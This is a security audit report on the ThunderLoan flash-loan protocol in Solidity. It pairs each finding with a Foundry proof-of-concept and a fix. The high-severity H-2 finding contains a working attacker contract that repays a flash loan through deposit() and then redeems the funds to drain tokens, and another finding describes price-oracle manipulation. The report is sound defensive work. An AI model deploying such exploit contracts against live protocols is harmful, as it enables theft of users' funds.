Thunder Loan Protocol Audit Report

Version 1.0

Tanu Gupta

July 30, 2025

Protocol Audit Report

Tanu Gupta

July 30, 2025

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

    * [H-2] Flash loan exploit via `deposit()` allows user to steal tokens from `ThunderLoan` contract
    * [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
  - Medium
    * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
  - Low
    * [L-1] Empty function body, consider commenting why is it left empty
    * [L-2] Initializers could be front-run

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

```
803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.

- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Found the bugs using a tool called foundry.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	2
Info	0
Gas	0
Total	6

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes protocol to think it has more fees than it actually does, which blocks the redemptions and incorrectly sets the `AssetToken::s_exchangeRate`

Description: In the ThunderLoan protocol, the `exchangeRate` is reponisble for calculating the exchange rate between the assetTokens and underlying tokens. In a way, it's reponsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate, without collecting any fee.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
         AssetToken assetToken = s_tokenToAssetToken[token];
         uint256 exchangeRate = assetToken.getExchangeRate();
```

```
            uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
            emit Deposit(msg.sender, token, amount);
            assetToken.mint(msg.sender, mintAmount);
@>          uint256 calculatedFee = getCalculatedFee(token, amount);
@>          assetToken.updateExchangeRate(calculatedFee);
            token.safeTransferFrom(msg.sender, address(assetToken), amount);
        }
```

Impact: There are several impacts, to this bug

1. The `ThunderLoan::redeem` is blocked if there is not enough tokens present in the `assetToken` contract.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting away with redeeming more than intended.
3. This can eventually cause the draining of the tokens from the `assetToken` contract.

Proof of Concept:

1. LP deposits
2. User takes out a flashLoan
3. It is now impossible for LP to redeem tokens

Paste this code in ThunderLoanTest.t.sol

Proof of code

```
function test_Redeem_After_Loan() external setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        //liquidityProvider tries to redeem the tokens
        vm.startPrank(liquidityProvider);
        //Redemption is expected to fail
        //Deposit => 1000e18
        //Fee => 0.3e18
        //Amount to redeem => 1000.3e18
        //Protocol trying to withdraw => 1003.3009e18
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the incorrect updated exchange lines from `ThunderLoan::deposit`

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] Flash loan exploit via `deposit()` allows user to steal tokens from `ThunderLoan` contract

Description: The `ThunderLoan` contract provides a `flashLoan` feature that allows users to borrow tokens on the condition that they are returned along with a fee within the same transaction. The protocol enforces this condition by

```
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
           endingBalance);
    }
```

However, this check can be bypassed if the borrower returns tokens via the `deposit()` function instead of an expected `repay()` method. As a result, the user can call `redeem` function to steal the deposited tokens.

Impact: Illegitimately reclaim tokens borrowed via **flash loans** by misusing the `deposit()` function

Proof of Concept:

1. User first takes out a flashLoan of `100` tokens.
2. Calls `deposit` rather to deposit these tokens back to `AssetToken` contract instead of `repay`.
3. Then later calls the `redeem` function to redeem the stolen tokens.

Find the following code in ThunderLoanTest.t.sol

Proof of Code

```
    function test_Deposit_using_flashLoan_Without_Repay() external
       setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);
        DepositOverRepayFlashLoanReceiver flashLoanReceiver = new
           DepositOverRepayFlashLoanReceiver(thunderLoan);

        vm.startPrank(user);
        tokenA.mint(address(flashLoanReceiver), AMOUNT);
        //users taking out a flash loan via FlashLoanReceiver
        thunderLoan.flashloan(address(flashLoanReceiver), tokenA,
           amountToBorrow, "");

        uint256 tokensInvested = tokenA.balanceOf(address(
           flashLoanReceiver));
        assertEq(tokensInvested, AMOUNT - calculatedFee);

        //user redeeming the stolen tokens
        flashLoanReceiver.redeemTokens(user);

        vm.stopPrank();

        //tokenA balance of user:
        uint256 totalTokenAReceived = tokenA.balanceOf(user);
        assertGt(totalTokenAReceived, amountToBorrow);
        console.log("totalTokenAReceived: ", totalTokenAReceived,
           amountToBorrow, calculatedFee);
        // 110.027437357158047785 - tokens stolen
        // 100 tokens borrowed using flash loan
        // 0.3 tokens used for the exploit
    }

    contract DepositOverRepayFlashLoanReceiver is IFlashLoanReceiver {
        ThunderLoan immutable i_thunderLoan;
        IERC20 s_token;

        constructor(ThunderLoan thunderLoan) {
            i_thunderLoan = thunderLoan;
        }

        function executeOperation(
            address token,
            uint256 amount,
            uint256 fee,
            address, /*initiator*/
            bytes calldata /*params*/
        )
            external
            returns (bool)
        {
```

```
            s_token = IERC20(token);
            IERC20(token).approve(address(i_thunderLoan), amount + fee)
                ;
            bytes memory depositCall = abi.encodeCall(ThunderLoan.
                deposit, (IERC20(token), amount + fee));
            (bool successDeposit,) = address(i_thunderLoan).call(
                depositCall);
            if (!successDeposit) {
                revert("Deposit failed by thunder loan");
            }
            return true;
        }

        function redeemTokens(address user) external {
            bytes memory redeemCall = abi.encodeCall(ThunderLoan.redeem
                , (s_token, type(uint256).max));
            (bool success,) = address(i_thunderLoan).call(redeemCall);
            if (success) {
                s_token.transfer(user, s_token.balanceOf(address(this))
                    );
            }
        }
    }
```

Recommended Mitigation:

Require borrowers to call a `repay()` function that handles repayment atomically and disallows returning funds via other routes like `deposit()`.

```
function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance = IERC20(token).balanceOf(address(
            assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
                amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
        }
```

```
        uint256 fee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(fee);

        emit FlashLoan(receiverAddress, token, amount, fee, params);

        s_currentlyFlashLoaning[token] = true;
        assetToken.transferUnderlyingTo(receiverAddress, amount);
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );
+       repay(token, amount + fee);
        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
        }
        s_currentlyFlashLoaning[token] = false;
    }
```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order -

```
    uint256 private s_feePrecision; // slot 1
    uint256 private s_flashLoanFee; // slot 2
    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning; //slot 3
```

However, the `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; //slot 1
    uint256 public constant FEE_PRECISION = 1e18; //no-slot
    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning; //slot 2
```

Due to how the storage works in Solidity, `s_flashLoanFee` in the `ThunderLoanUpgraded` contract will have the value of `s_feePrecision`.

You can not adjust the position of storage variables, and removing storage variables for constants breaks the storage layout.

Impact: After rthe upgrade, the `s_flashLoanFee` will have of `s_feePrecision`. This means users who take out the flash loan after the upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` will start in thw wrong storage slot.

Proof of Concept:

- Fee values are different before and after the upgrade.

Find the following code in ThunderLoanTest.t.sol

Proof of Code

```
import {ThunderLoanUpgraded} from 'src/upgradedProtocol/
    ThunderLoanUpgraded.sol';
.
.
.

function testUpgradeBreaks() external{
    uint256 feeBeforeUpgrade = thunderLoan.getFee(); //0.003

    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded thunderLoanUpgraded = new ThunderLoanUpgraded()
        ;
    thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
    vm.stopPrank();

    uint256 feeAfterUpgrade = thunderLoan.getFee(); //1

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee;//slot 1
-    uint256 public constant FEE_PRECISION = 1e18;

+    uint256 private s_blank; //slot 1
+    uint256 private s_flashLoanFee; //slot 2
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap pool is a contant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of the token by buying or selling large amount of the token in the same transaction, esentially ignoring the protocol fees.

Impact: Liquidity providers will drastically reduce fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. Users takes a `flashLoan` from `ThunderLoan` contract of `50 tokenA`. They are charged the original fee `feeOne`.
2. Insteading of repaying the loan right away, users swaps these tokens with another token in the `tswap` pool, hence tanking the price of one pool token in weth:

```
function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

3. Now user takes out another flash loan of `50 tokenA`. The fees for this second flash loan, turns out to be really cheap due to the fact that `ThunderLoan` contract calculates price based on `TSwap` pool.

I have created a Proof-of-code (POC) in ThunderLoanTest.t.sol. It is too long to add here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a chainlink price-feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty function body, consider commenting why is it left empty

Description:

```
function _authorizeUpgrade(address newImplementation) internal override
    onlyOwner { }
```

[L-2] Initializers could be front-run

Description: Initializers could be fron-run, allowing an attacker to either set their own values, take ownership of the contract and in the worst case forcing a redeployment.

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init(msg.sender);
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
    s_feePrecision = 1e18;
    s_flashLoanFee = 3e15; // 0.3% ETH fee
}
```

Impact: This can lead to huge stealing of funds if an attacker tries to become the owner or manipulate the contract functionality they way that seem fit.